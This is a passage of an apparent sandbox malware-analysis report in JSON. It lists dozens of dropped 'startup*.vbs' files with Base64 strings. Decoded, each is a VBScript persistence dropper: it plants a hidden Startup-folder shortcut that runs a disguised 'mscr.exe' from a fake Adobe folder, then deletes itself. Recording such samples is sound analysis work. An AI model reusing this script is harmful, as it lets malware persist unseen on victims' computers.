File","process":null,"filename":"startup276877.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IG9ialNoZWxsID0gV1NjcmlwdC5DcmVhdGVPYmplY3QoIldTY3JpcHQuU2hlbGwiKVNldCBvYmpGU08gPSBDcmVhdGVPYmplY3QoIlNjcmlwdGluZy5GaWxlU3lzdGVtT2JqZWN0IilTZXQgbG5rID0gb2JqU2hlbGwuQ3JlYXRlU2hvcnRjdXQoIiVBUFBEQVRBJVxNaWNyb3NvZnRcV2luZG93c1xTdGFydCBNZW51XFByb2dyYW1zXFN0YXJ0dXBcM01SWUszNDkzMTU5LmxuayIpbG5rLlRhcmdldFBhdGggPSAiY21kLmV4ZSJsbmsuQXJndW1lbnRzID0gIi9rIHN0YXJ0ICIiIiIgIiJDOlxVc2Vyc1wlVVNFUk5BTUUlXEFwcERhdGFcUm9hbWluZ1xBZG9iZVwzTVJZS1wgXG1zY3IuZXhlIiImZXhpdCYiIiJsbmsuV2luZG93U3R5bGUgPSAiNyJsbmsuU2F2ZW9iakZTTy5EZWxldGVGaWxlKFdzY3JpcHQuU2NyaXB0RnVsbE5hbWUp","type":"Ansi","source":"Dropped File","process":null,"filename":"startup276877.vbs","compromised":null,"detection_total":null,"total":null}]},{"name":"startup7944398.vbs","strings":[{"value":"U2V0IGxuayA9IG9ialNoZWxsLkNyZWF0ZVNob3J0Y3V0KCIlQVBQREFUQSVcTWljcm9zb2Z0XFdpbmRvd3NcU3RhcnQgTWVudVxQcm9ncmFtc1xTdGFydHVwXDNNUllLMzU1OTI3Mi5sbmsiKQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"startup7944398.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IG9ialNoZWxsID0gV1NjcmlwdC5DcmVhdGVPYmplY3QoIldTY3JpcHQuU2hlbGwiKVNldCBvYmpGU08gPSBDcmVhdGVPYmplY3QoIlNjcmlwdGluZy5GaWxlU3lzdGVtT2JqZWN0IilTZXQgbG5rID0gb2JqU2hlbGwuQ3JlYXRlU2hvcnRjdXQoIiVBUFBEQVRBJVxNaWNyb3NvZnRcV2luZG93c1xTdGFydCBNZW51XFByb2dyYW1zXFN0YXJ0dXBcM01SWUszNTU5MjcyLmxuayIpbG5rLlRhcmdldFBhdGggPSAiY21kLmV4ZSJsbmsuQXJndW1lbnRzID0gIi9rIHN0YXJ0ICIiIiIgIiJDOlxVc2Vyc1wlVVNFUk5BTUUlXEFwcERhdGFcUm9hbWluZ1xBZG9iZVwzTVJZS1wgXG1zY3IuZXhlIiImZXhpdCYiIiJsbmsuV2luZG93U3R5bGUgPSAiNyJsbmsuU2F2ZW9iakZTTy5EZWxldGVGaWxlKFdzY3JpcHQuU2NyaXB0RnVsbE5hbWUp","type":"Ansi","source":"Dropped File","process":null,"filename":"startup7944398.vbs","compromised":null,"detection_total":null,"total":null}]},{"name":"startup2879488.vbs","strings":[{"value":"U2V0IGxuayA9IG9ialNoZWxsLkNyZWF0ZVNob3J0Y3V0KCIlQVBQREFUQSVcTWljcm9zb2Z0XFdpbmRvd3NcU3RhcnQgTWVudVxQcm9ncmFtc1xTdGFydHVwXDNNUllLMzYyNzA0MS5sbmsiKQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"startup2879488.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IG9ialNoZWxsID0gV1NjcmlwdC5DcmVhdGVPYmplY3QoIldTY3JpcHQuU2hlbGwiKVNldCBvYmpGU08gPSBDcmVhdGVPYmplY3QoIlNjcmlwdGluZy5GaWxlU3lzdGVtT2JqZWN0IilTZXQgbG5rID0gb2JqU2hlbGwuQ3JlYXRlU2hvcnRjdXQoIiVBUFBEQVRBJVxNaWNyb3NvZnRcV2luZG93c1xTdGFydCBNZW51XFByb2dyYW1zXFN0YXJ0dXBcM01SWUszNjI3MDQxLmxuayIpbG5rLlRhcmdldFBhdGggPSAiY21kLmV4ZSJsbmsuQXJndW1lbnRzID0gIi9rIHN0YXJ0ICIiIiIgIiJDOlxVc2Vyc1wlVVNFUk5BTUUlXEFwcERhdGFcUm9hbWluZ1xBZG9iZVwzTVJZS1wgXG1zY3IuZXhlIiImZXhpdCYiIiJsbmsuV2luZG93U3R5bGUgPSAiNyJsbmsuU2F2ZW9iakZTTy5EZWxldGVGaWxlKFdzY3JpcHQuU2NyaXB0RnVsbE5hbWUp","type":"Ansi","source":"Dropped File","process":null,"filename":"startup2879488.vbs","compromised":null,"detection_total":null,"total":null}]},{"name":"startup7036682.vbs","strings":[{"value":"U2V0IGxuayA9IG9ialNoZWxsLkNyZWF0ZVNob3J0Y3V0KCIlQVBQREFUQSVcTWljcm9zb2Z0XFdpbmRvd3NcU3RhcnQgTWVudVxQcm9ncmFtc1xTdGFydHVwXDNNUllLMzgzMzY5NC5sbmsiKQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"startup7036682.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IG9ialNoZWxsID0gV1NjcmlwdC5DcmVhdGVPYmplY3QoIldTY3JpcHQuU2hlbGwiKVNldCBvYmpGU08gPSBDcmVhdGVPYmplY3QoIlNjcmlwdGluZy5GaWxlU3lzdGVtT2JqZWN0IilTZXQgbG5rID0gb2JqU2hlbGwuQ3JlYXRlU2hvcnRjdXQoIiVBUFBEQVRBJVxNaWNyb3NvZnRcV2luZG93c1xTdGFydCBNZW51XFByb2dyYW1zXFN0YXJ0dXBcM01SWUszODMzNjk0LmxuayIpbG5rLlRhcmdldFBhdGggPSAiY21kLmV4ZSJsbmsuQXJndW1lbnRzID0gIi9rIHN0YXJ0ICIiIiIgIiJDOlxVc2Vyc1wlVVNFUk5BTUUlXEFwcERhdGFcUm9hbWluZ1xBZG9iZVwzTVJZS1wgXG1zY3IuZXhlIiImZXhpdCYiIiJsbmsuV2luZG93U3R5bGUgPSAiNyJsbmsuU2F2ZW9iakZTTy5EZWxldGVGaWxlKFdzY3JpcHQuU2NyaXB0RnVsbE5hbWUp","type":"Ansi","source":"Dropped File","process":null,"filename":"startup7036682.vbs","compromised":null,"detection_total":null,"total":null}]},{"name":"startup2031697.vbs","strings":[{"value":"U2V0IGxuayA9IG9ialNoZWxsLkNyZWF0ZVNob3J0Y3V0KCIlQVBQREFUQSVcTWljcm9zb2Z0XFdpbmRvd3NcU3RhcnQgTWVudVxQcm9ncmFtc1xTdGFydHVwXDNNUllLNDM5NzY0Ni5sbmsiKQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"startup2031697.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IG9ialNoZWxsID0gV1NjcmlwdC5DcmVhdGVPYmplY3QoIldTY3JpcHQuU2hlbGwiKVNldCBvYmpGU08gPSBDcmVhdGVPYmplY3QoIlNjcmlwdGluZy5GaWxlU3lzdGVtT2JqZWN0IilTZXQgbG5rID0gb2JqU2hlbGwuQ3JlYXRlU2hvcnRjdXQoIiVBUFBEQVRBJVxNaWNyb3NvZnRcV2luZG93c1xTdGFydCBNZW51XFByb2dyYW1zXFN0YXJ0dXBcM01SWUs0Mzk3NjQ2LmxuayIpbG5rLlRhcmdldFBhdGggPSAiY21kLmV4ZSJsbmsuQXJndW1lbnRzID0gIi9rIHN0YXJ0ICIiIiIgIiJDOlxVc2Vyc1wlVVNFUk5BTUUlXEFwcERhdGFcUm9hbWluZ1xBZG9iZVwzTVJZS1wgXG1zY3IuZXhlIiImZXhpdCYiIiJsbmsuV2luZG93U3R5bGUgPSAiNyJsbmsuU2F2ZW9iakZTTy5EZWxldGVGaWxlKFdzY3JpcHQuU2NyaXB0RnVsbE5hbWUp","type":"Ansi","source":"Dropped File","process":null,"filename":"startup2031697.vbs","compromised":null,"detection_total":null,"total":null}]},{"name":"startup9321933.vbs","strings":[{"value":"U2V0IGxuayA9IG9ialNoZWxsLkNyZWF0ZVNob3J0Y3V0KCIlQVBQREFUQSVcTWljcm9zb2Z0XFdpbmRvd3NcU3RhcnQgTWVudVxQcm9ncmFtc1xTdGFydHVwXDNNUllLNDU1NTM0LmxuayIp","type":"Ansi","source":"Dropped File","process":null,"filename":"startup9321933.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IG9ialNoZWxsID0gV1NjcmlwdC5DcmVhdGVPYmplY3QoIldTY3JpcHQuU2hlbGwiKVNldCBvYmpGU08gPSBDcmVhdGVPYmplY3QoIlNjcmlwdGluZy5GaWxlU3lzdGVtT2JqZWN0IilTZXQgbG5rID0gb2JqU2hlbGwuQ3JlYXRlU2hvcnRjdXQoIiVBUFBEQVRBJVxNaWNyb3NvZnRcV2luZG93c1xTdGFydCBNZW51XFByb2dyYW1zXFN0YXJ0dXBcM01SWUs0NTU1MzQubG5rIilsbmsuVGFyZ2V0UGF0aCA9ICJjbWQuZXhlImxuay5Bcmd1bWVudHMgPSAiL2sgc3RhcnQgIiIiIiAiIkM6XFVzZXJzXCVVU0VSTkFNRSVcQXBwRGF0YVxSb2FtaW5nXEFkb2JlXDNNUllLXCBcbXNjci5leGUiIiZleGl0JiIiImxuay5XaW5kb3dTdHlsZSA9ICI3Imxuay5TYXZlb2JqRlNPLkRlbGV0ZUZpbGUoV3NjcmlwdC5TY3JpcHRGdWxsTmFtZSk=","type":"Ansi","source":"Dropped File","process":null,"filename":"startup9321933.vbs","compromised":null,"detection_total":null,"total":null}]},{"name":"startup9936131.vbs","strings":[{"value":"U2V0IGxuayA9IG9ialNoZWxsLkNyZWF0ZVNob3J0Y3V0KCIlQVBQREFUQSVcTWljcm9zb2Z0XFdpbmRvd3NcU3RhcnQgTWVudVxQcm9ncmFtc1xTdGFydHVwXDNNUllLNDU5NDk2NS5sbmsiKQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"startup9936131.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IG9ialNoZWxsID0gV1NjcmlwdC5DcmVhdGVPYmplY3QoIldTY3JpcHQuU2hlbGwiKVNldCBvYmpGU08gPSBDcmVhdGVPYmplY3QoIlNjcmlwdGluZy5GaWxlU3lzdGVtT2JqZWN0IilTZXQgbG5rID0gb2JqU2hlbGwuQ3JlYXRlU2hvcnRjdXQoIiVBUFBEQVRBJVxNaWNyb3NvZnRcV2luZG93c1xTdGFydCBNZW51XFByb2dyYW1zXFN0YXJ0dXBcM01SWUs0NTk0OTY1LmxuayIpbG5rLlRhcmdldFBhdGggPSAiY21kLmV4ZSJsbmsuQXJndW1lbnRzID0gIi9rIHN0YXJ0ICIiIiIgIiJDOlxVc2Vyc1wlVVNFUk5BTUUlXEFwcERhdGFcUm9hbWluZ1xBZG9iZVwzTVJZS1wgXG1zY3IuZXhlIiImZXhpdCYiIiJsbmsuV2luZG93U3R5bGUgPSAiNyJsbmsuU2F2ZW9iakZTTy5EZWxldGVGaWxlKFdzY3JpcHQuU2NyaXB0RnVsbE5hbWUp","type":"Ansi","source":"Dropped File","process":null,"filename":"startup9936131.vbs","compromised":null,"detection_total":null,"total":null}]},{"name":"startup6687259.vbs","strings":[{"value":"U2V0IGxuayA9IG9ialNoZWxsLkNyZWF0ZVNob3J0Y3V0KCIlQVBQREFUQSVcTWljcm9zb2Z0XFdpbmRvd3NcU3RhcnQgTWVudVxQcm9ncmFtc1xTdGFydHVwXDNNUllLNDczMjk4OC5sbmsiKQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"startup6687259.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IG9ialNoZWxsID0gV1NjcmlwdC5DcmVhdGVPYmplY3QoIldTY3JpcHQuU2hlbGwiKVNldCBvYmpGU08gPSBDcmVhdGVPYmplY3QoIlNjcmlwdGluZy5GaWxlU3lzdGVtT2JqZWN0IilTZXQgbG5rID0gb2JqU2hlbGwuQ3JlYXRlU2hvcnRjdXQoIiVBUFBEQVRBJVxNaWNyb3NvZnRcV2luZG93c1xTdGFydCBNZW51XFByb2dyYW1zXFN0YXJ0dXBcM01SWUs0NzMyOTg4LmxuayIpbG5rLlRhcmdldFBhdGggPSAiY21kLmV4ZSJsbmsuQXJndW1lbnRzID0gIi9rIHN0YXJ0ICIiIiIgIiJDOlxVc2Vyc1wlVVNFUk5BTUUlXEFwcERhdGFcUm9hbWluZ1xBZG9iZVwzTVJZS1wgXG1zY3IuZXhlIiImZXhpdCYiIiJsbmsuV2luZG93U3R5bGUgPSAiNyJsbmsuU2F2ZW9iakZTTy5EZWxldGVGaWxlKFdzY3JpcHQuU2NyaXB0RnVsbE5hbWUp","type":"Ansi","source":"Dropped File","process":null,"filename":"startup6687259.vbs","compromised":null,"detection_total":null,"total":null}]},{"name":"startup4601692.vbs","strings":[{"value":"U2V0IGxuayA9IG9ialNoZWxsLkNyZWF0ZVNob3J0Y3V0KCIlQVBQREFUQSVcTWljcm9zb2Z0XFdpbmRvd3NcU3RhcnQgTWVudVxQcm9ncmFtc1xTdGFydHVwXDNNUllLNDkzMDMwNi5sbmsiKQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"startup4601692.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IG9ialNoZWxsID0gV1NjcmlwdC5DcmVhdGVPYmplY3QoIldTY3JpcHQuU2hlbGwiKVNldCBvYmpGU08gPSBDcmVhdGVPYmplY3QoIlNjcmlwdGluZy5GaWxlU3lzdGVtT2JqZWN0IilTZXQgbG5rID0gb2JqU2hlbGwuQ3JlYXRlU2hvcnRjdXQoIiVBUFBEQVRBJVxNaWNyb3NvZnRcV2luZG93c1xTdGFydCBNZW51XFByb2dyYW1zXFN0YXJ0dXBcM01SWUs0OTMwMzA2LmxuayIpbG5rLlRhcmdldFBhdGggPSAiY21kLmV4ZSJsbmsuQXJndW1lbnRzID0gIi9rIHN0YXJ0ICIiIiIgIiJDOlxVc2Vyc1wlVVNFUk5BTUUlXEFwcERhdGFcUm9hbWluZ1xBZG9iZVwzTVJZS1wgXG1zY3IuZXhlIiImZXhpdCYiIiJsbmsuV2luZG93U3R5bGUgPSAiNyJsbmsuU2F2ZW9iakZTTy5EZWxldGVGaWxlKFdzY3JpcHQuU2NyaXB0RnVsbE5hbWUp","type":"Ansi","source":"Dropped File","process":null,"filename":"startup4601692.vbs","compromised":null,"detection_total":null,"total":null}]},{"name":"startup7732691.vbs","strings":[{"value":"U2V0IGxuayA9IG9ialNoZWxsLkNyZWF0ZVNob3J0Y3V0KCIlQVBQREFUQSVcTWljcm9zb2Z0XFdpbmRvd3NcU3RhcnQgTWVudVxQcm9ncmFtc1xTdGFydHVwXDNNUllLNTE5OTgzLmxuayIp","type":"Ansi","source":"Dropped File","process":null,"filename":"startup7732691.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IG9ialNoZWxsID0gV1NjcmlwdC5DcmVhdGVPYmplY3QoIldTY3JpcHQuU2hlbGwiKVNldCBvYmpGU08gPSBDcmVhdGVPYmplY3QoIlNjcmlwdGluZy5GaWxlU3lzdGVtT2JqZWN0IilTZXQgbG5rID0gb2JqU2hlbGwuQ3JlYXRlU2hvcnRjdXQoIiVBUFBEQVRBJVxNaWNyb3NvZnRcV2luZG93c1xTdGFydCBNZW51XFByb2dyYW1zXFN0YXJ0dXBcM01SWUs1MTk5ODMubG5rIilsbmsuVGFyZ2V0UGF0aCA9ICJjbWQuZXhlImxuay5Bcmd1bWVudHMgPSAiL2sgc3RhcnQgIiIiIiAiIkM6XFVzZXJzXCVVU0VSTkFNRSVcQXBwRGF0YVxSb2FtaW5nXEFkb2JlXDNNUllLXCBcbXNjci5leGUiIiZleGl0JiIiImxuay5XaW5kb3dTdHlsZSA9ICI3Imxuay5TYXZlb2JqRlNPLkRlbGV0ZUZpbGUoV3NjcmlwdC5TY3JpcHRGdWxsTmFtZSk=","type":"Ansi","source":"Dropped File","process":null,"filename":"startup7732691.vbs","compromised":null,"detection_total":null,"total":null}]},{"name":"startup7597624.vbs","strings":[{"value":"U2V0IGxuayA9IG9ialNoZWxsLkNyZWF0ZVNob3J0Y3V0KCIlQVBQREFUQSVcTWljcm9zb2Z0XFdpbmRvd3NcU3RhcnQgTWVudVxQcm9ncmFtc1xTdGFydHVwXDNNUllLNTMzOTIyMS5sbmsiKQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"startup7597624.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IG9ialNoZWxsID0gV1NjcmlwdC5DcmVhdGVPYmplY3QoIldTY3JpcHQuU2hlbGwiKVNldCBvYmpGU08gPSBDcmVhdGVPYmplY3QoIlNjcmlwdGluZy5GaWxlU3lzdGVtT2JqZWN0IilTZXQgbG5rID0gb2JqU2hlbGwuQ3JlYXRlU2hvcnRjdXQoIiVBUFBEQVRBJVxNaWNyb3NvZnRcV2luZG93c1xTdGFydCBNZW51XFByb2dyYW1zXFN0YXJ0dXBcM01SWUs1MzM5MjIxLmxuayIpbG5rLlRhcmdldFBhdGggPSAiY21kLmV4ZSJsbmsuQXJndW1lbnRzID0gIi9rIHN0YXJ0ICIiIiIgIiJDOlxVc2Vyc1wlVVNFUk5BTUUlXEFwcERhdGFcUm9hbWluZ1xBZG9iZVwzTVJZS1wgXG1zY3IuZXhlIiImZXhpdCYiIiJsbmsuV2luZG93U3R5bGUgPSAiNyJsbmsuU2F2ZW9iakZTTy5EZWxldGVGaWxlKFdzY3JpcHQuU2NyaXB0RnVsbE5hbWUp","type":"Ansi","source":"Dropped File","process":null,"filename":"startup7597624.vbs","compromised":null,"detection_total":null,"total":null}]},{"name":"startup6544173.vbs","strings":[{"value":"U2V0IGxuayA9IG9ialNoZWxsLkNyZWF0ZVNob3J0Y3V0KCIlQVBQREFUQSVcTWljcm9zb2Z0XFdpbmRvd3NcU3RhcnQgTWVudVxQcm9ncmFtc1xTdGFydHVwXDNNUllLNjQyMzgyMi5sbmsiKQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"startup6544173.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IG9ialNoZWxsID0gV1NjcmlwdC5DcmVhdGVPYmplY3QoIldTY3JpcHQuU2hlbGwiKVNldCBvYmpGU08gPSBDcmVhdGVPYmplY3QoIlNjcmlwdGluZy5GaWxlU3lzdGVtT2JqZWN0IilTZXQgbG5rID0gb2JqU2hlbGwuQ3JlYXRlU2hvcnRjdXQoIiVBUFBEQVRBJVxNaWNyb3NvZnRcV2luZG93c1xTdGFydCBNZW51XFByb2dyYW1zXFN0YXJ0dXBcM01SWUs2NDIzODIyLmxuayIpbG5rLlRhcmdldFBhdGggPSAiY21kLmV4ZSJsbmsuQXJndW1lbnRzID0gIi9rIHN0YXJ0ICIiIiIgIiJDOlxVc2Vyc1wlVVNFUk5BTUUlXEFwcERhdGFcUm9hbWluZ1xBZG9iZVwzTVJZS1wgXG1zY3IuZXhlIiImZXhpdCYiIiJsbmsuV2luZG93U3R5bGUgPSAiNyJsbmsuU2F2ZW9iakZTTy5EZWxldGVGaWxlKFdzY3JpcHQuU2NyaXB0RnVsbE5hbWUp","type":"Ansi","source":"Dropped File","process":null,"filename":"startup6544173.vbs","compromised":null,"detection_total":null,"total":null}]},{"name":"startup7419274.vbs","strings":[{"value":"U2V0IGxuayA9IG9ialNoZWxsLkNyZWF0ZVNob3J0Y3V0KCIlQVBQREFUQSVcTWljcm9zb2Z0XFdpbmRvd3NcU3RhcnQgTWVudVxQcm9ncmFtc1xTdGFydHVwXDNNUllLNjU0ODE3OS5sbmsiKQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"startup7419274.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IG9ialNoZWxsID0gV1NjcmlwdC5DcmVhdGVPYmplY3QoIldTY3JpcHQuU2hlbGwiKVNldCBvYmpGU08gPSBDcmVhdGVPYmplY3QoIlNjcmlwdGluZy5GaWxlU3lzdGVtT2JqZWN0IilTZXQgbG5rID0gb2JqU2hlbGwuQ3JlYXRlU2hvcnRjdXQoIiVBUFBEQVRBJVxNaWNyb3NvZnRcV2luZG93c1xTdGFydCBNZW51XFByb2dyYW1zXFN0YXJ0dXBcM01SWUs2NTQ4MTc5LmxuayIpbG5rLlRhcmdldFBhdGggPSAiY21kLmV4ZSJsbmsuQXJndW1lbnRzID0gIi9rIHN0YXJ0ICIiIiIgIiJDOlxVc2Vyc1wlVVNFUk5BTUUlXEFwcERhdGFcUm9hbWluZ1xBZG9iZVwzTVJZS1wgXG1zY3IuZXhlIiImZXhpdCYiIiJsbmsuV2luZG93U3R5bGUgPSAiNyJsbmsuU2F2ZW9iakZTTy5EZWxldGVGaWxlKFdzY3JpcHQuU2NyaXB0RnVsbE5hbWUp","type":"Ansi","source":"Dropped File","process":null,"filename":"startup7419274.vbs","compromised":null,"detection_total":null,"total":null}]},{"name":"startup562985.vbs","strings":[{"value":"U2V0IGxuayA9IG9ialNoZWxsLkNyZWF0ZVNob3J0Y3V0KCIlQVBQREFUQSVcTWljcm9zb2Z0XFdpbmRvd3NcU3RhcnQgTWVudVxQcm9ncmFtc1xTdGFydHVwXDNNUllLNjU2MDAwMC5sbmsiKQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"startup562985.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IG9ialNoZWxsID0gV1NjcmlwdC5DcmVhdGVPYmplY3QoIldTY3JpcHQuU2hlbGwiKVNldCBvYmpGU08gPSBDcmVhdGVPYmplY3QoIlNjcmlwdGluZy5GaWxlU3lzdGVtT2JqZWN0IilTZXQgbG5rID0gb2JqU2hlbGwuQ3JlYXRlU2hvcnRjdXQoIiVBUFBEQVRBJVxNaWNyb3NvZnRcV2luZG93c1xTdGFydCBNZW51XFByb2dyYW1zXFN0YXJ0dXBcM01SWUs2NTYwMDAwLmxuayIpbG5rLlRhcmdldFBhdGggPSAiY21kLmV4ZSJsbmsuQXJndW1lbnRzID0gIi9rIHN0YXJ0ICIiIiIgIiJDOlxVc2Vyc1wlVVNFUk5BTUUlXEFwcERhdGFcUm9hbWluZ1xBZG9iZVwzTVJZS1wgXG1zY3IuZXhlIiImZXhpdCYiIiJsbmsuV2luZG93U3R5bGUgPSAiNyJsbmsuU2F2ZW9iakZTTy5EZWxldGVGaWxlKFdzY3JpcHQuU2NyaXB0RnVsbE5hbWUp","type":"Ansi","source":"Dropped File","process":null,"filename":"startup562985.vbs","compromised":null,"detection_total":null,"total":null}]},{"name":"startup196366.vbs","strings":[{"value":"U2V0IGxuayA9IG9ialNoZWxsLkNyZWF0ZVNob3J0Y3V0KCIlQVBQREFUQSVcTWljcm9zb2Z0XFdpbmRvd3NcU3RhcnQgTWVudVxQcm9ncmFtc1xTdGFydHVwXDNNUllLNjU2MDgzMi5sbmsiKQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"startup196366.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IG9ialNoZWxsID0gV1NjcmlwdC5DcmVhdGVPYmplY3QoIldTY3JpcHQuU2hlbGwiKVNldCBvYmpGU08gPSBDcmVhdGVPYmplY3QoIlNjcmlwdGluZy5GaWxlU3lzdGVtT2JqZWN0IilTZXQgbG5rID0gb2JqU2hlbGwuQ3JlYXRlU2hvcnRjdXQoIiVBUFBEQVRBJVxNaWNyb3NvZnRcV2luZG93c1xTdGFydCBNZW51XFByb2dyYW1zXFN0YXJ0dXBcM01SWUs2NTYwODMyLmxuayIpbG5rLlRhcmdldFBhdGggPSAiY21kLmV4ZSJsbmsuQXJndW1lbnRzID0gIi9rIHN0YXJ0ICIiIiIgIiJDOlxVc2Vyc1wlVVNFUk5BTUUlXEFwcERhdGFcUm9hbWluZ1xBZG9iZVwzTVJZS1wgXG1zY3IuZXhlIiImZXhpdCYiIiJsbmsuV2luZG93U3R5bGUgPSAiNyJsbmsuU2F2ZW9iakZTTy5EZWxldGVGaWxlKFdzY3JpcHQuU2NyaXB0RnVsbE5hbWUp","type":"Ansi","source":"Dropped File","process":null,"filename":"startup196366.vbs","compromised":null,"detection_total":null,"total":null}]},{"name":"startup1446647.vbs","strings":[{"value":"U2V0IGxuayA9IG9ialNoZWxsLkNyZWF0ZVNob3J0Y3V0KCIlQVBQREFUQSVcTWljcm9zb2Z0XFdpbmRvd3NcU3RhcnQgTWVudVxQcm9ncmFtc1xTdGFydHVwXDNNUllLNjg5MDM2OC5sbmsiKQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"startup1446647.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IG9ialNoZWxsID0gV1NjcmlwdC5DcmVhdGVPYmplY3QoIldTY3JpcHQuU2hlbGwiKVNldCBvYmpGU08gPSBDcmVhdGVPYmplY3QoIlNjcmlwdGluZy5GaWxlU3lzdGVtT2JqZWN0IilTZXQgbG5rID0gb2JqU2hlbGwuQ3JlYXRlU2hvcnRjdXQoIiVBUFBEQVRBJVxNaWNyb3NvZnRcV2luZG93c1xTdGFydCBNZW51XFByb2dyYW1zXFN0YXJ0dXBcM01SWUs2ODkwMzY4LmxuayIpbG5rLlRhcmdldFBhdGggPSAiY21kLmV4ZSJsbmsuQXJndW1lbnRzID0gIi9rIHN0YXJ0ICIiIiIgIiJDOlxVc2Vyc1wlVVNFUk5BTUUlXEFwcERhdGFcUm9hbWluZ1xBZG9iZVwzTVJZS1wgXG1zY3IuZXhlIiImZXhpdCYiIiJsbmsuV2luZG93U3R5bGUgPSAiNyJsbmsuU2F2ZW9iakZTTy5EZWxldGVGaWxlKFdzY3JpcHQuU2NyaXB0RnVsbE5hbWUp","type":"Ansi","source":"Dropped File","process":null,"filename":"startup1446647.vbs","compromised":null,"detection_total":null,"total":null}]},{"name":"startup6752483.vbs","strings":[{"value":"U2V0IGxuayA9IG9ialNoZWxsLkNyZWF0ZVNob3J0Y3V0KCIlQVBQREFUQSVcTWljcm9zb2Z0XFdpbmRvd3NcU3RhcnQgTWVudVxQcm9ncmFtc1xTdGFydHVwXDNNUllLNjk5MDQ4Mi5sbmsiKQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"startup6752483.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IG9ialNoZWxsID0gV1NjcmlwdC5DcmVhdGVPYmplY3QoIldTY3JpcHQuU2hlbGwiKVNldCBvYmpGU08gPSBDcmVhdGVPYmplY3QoIlNjcmlwdGluZy5GaWxlU3lzdGVtT2JqZWN0IilTZXQgbG5rID0gb2JqU2hlbGwuQ3JlYXRlU2hvcnRjdXQoIiVBUFBEQVRBJVxNaWNyb3NvZnRcV2luZG93c1xTdGFydCBNZW51XFByb2dyYW1zXFN0YXJ0dXBcM01SWUs2OTkwNDgyLmxuayIpbG5rLlRhcmdldFBhdGggPSAiY21kLmV4ZSJsbmsuQXJndW1lbnRzID0gIi9rIHN0YXJ0ICIiIiIgIiJDOlxVc2Vyc1wlVVNFUk5BTUUlXEFwcERhdGFcUm9hbWluZ1xBZG9iZVwzTVJZS1wgXG1zY3IuZXhlIiImZXhpdCYiIiJsbmsuV2luZG93U3R5bGUgPSAiNyJsbmsuU2F2ZW9iakZTTy5EZWxldGVGaWxlKFdzY3JpcHQuU2NyaXB0RnVsbE5hbWUp","type":"Ansi","source":"Dropped File","process":null,"filename":"startup6752483.vbs","compromised":null,"detection_total":null,"total":null}]},{"name":"startup9069048.vbs","strings":[{"value":"U2V0IGxuayA9IG9ialNoZWxsLkNyZWF0ZVNob3J0Y3V0KCIlQVBQREFUQSVcTWljcm9zb2Z0XFdpbmRvd3NcU3RhcnQgTWVudVxQcm9ncmFtc1xTdGFydHVwXDNNUllLNzU5OTAxMS5sbmsiKQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"startup9069048.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IG9ialNoZWxsID0gV1NjcmlwdC5DcmVhdGVPYmplY3QoIldTY3JpcHQuU2hlbGwiKVNldCBvYmpGU08gPSBDcmVhdGVPYmplY3QoIlNjcmlwdGluZy5GaWxlU3lzdGVtT2JqZWN0IilTZXQgbG5rID0gb2JqU2hlbGwuQ3JlYXRlU2hvcnRjdXQoIiVBUFBEQVRBJVxNaWNyb3NvZnRcV2luZG93c1xTdGFydCBNZW51XFByb2dyYW1zXFN0YXJ0dXBcM01SWUs3NTk5MDExLmxuayIpbG5rLlRhcmdldFBhdGggPSAiY21kLmV4ZSJsbmsuQXJndW1lbnRzID0gIi9rIHN0YXJ0ICIiIiIgIiJDOlxVc2Vyc1wlVVNFUk5BTUUlXEFwcERhdGFcUm9hbWluZ1xBZG9iZVwzTVJZS1wgXG1zY3IuZXhlIiImZXhpdCYiIiJsbmsuV2luZG93U3R5bGUgPSAiNyJsbmsuU2F2ZW9iakZTTy5EZWxldGVGaWxlKFdzY3JpcHQuU2NyaXB0RnVsbE5hbWUp","type":"Ansi","source":"Dropped File","process":null,"filename":"startup9069048.vbs","compromised":null,"detection_total":null,"total":null}]},{"name":"startup4770668.vbs","strings":[{"value":"U2V0IGxuayA9IG9ialNoZWxsLkNyZWF0ZVNob3J0Y3V0KCIlQVBQREFUQSVcTWljcm9zb2Z0XFdpbmRvd3NcU3RhcnQgTWVudVxQcm9ncmFtc1xTdGFydHVwXDNNUllLODM3MTg3My5sbmsiKQ==","type":"Ansi","source":"Dropped 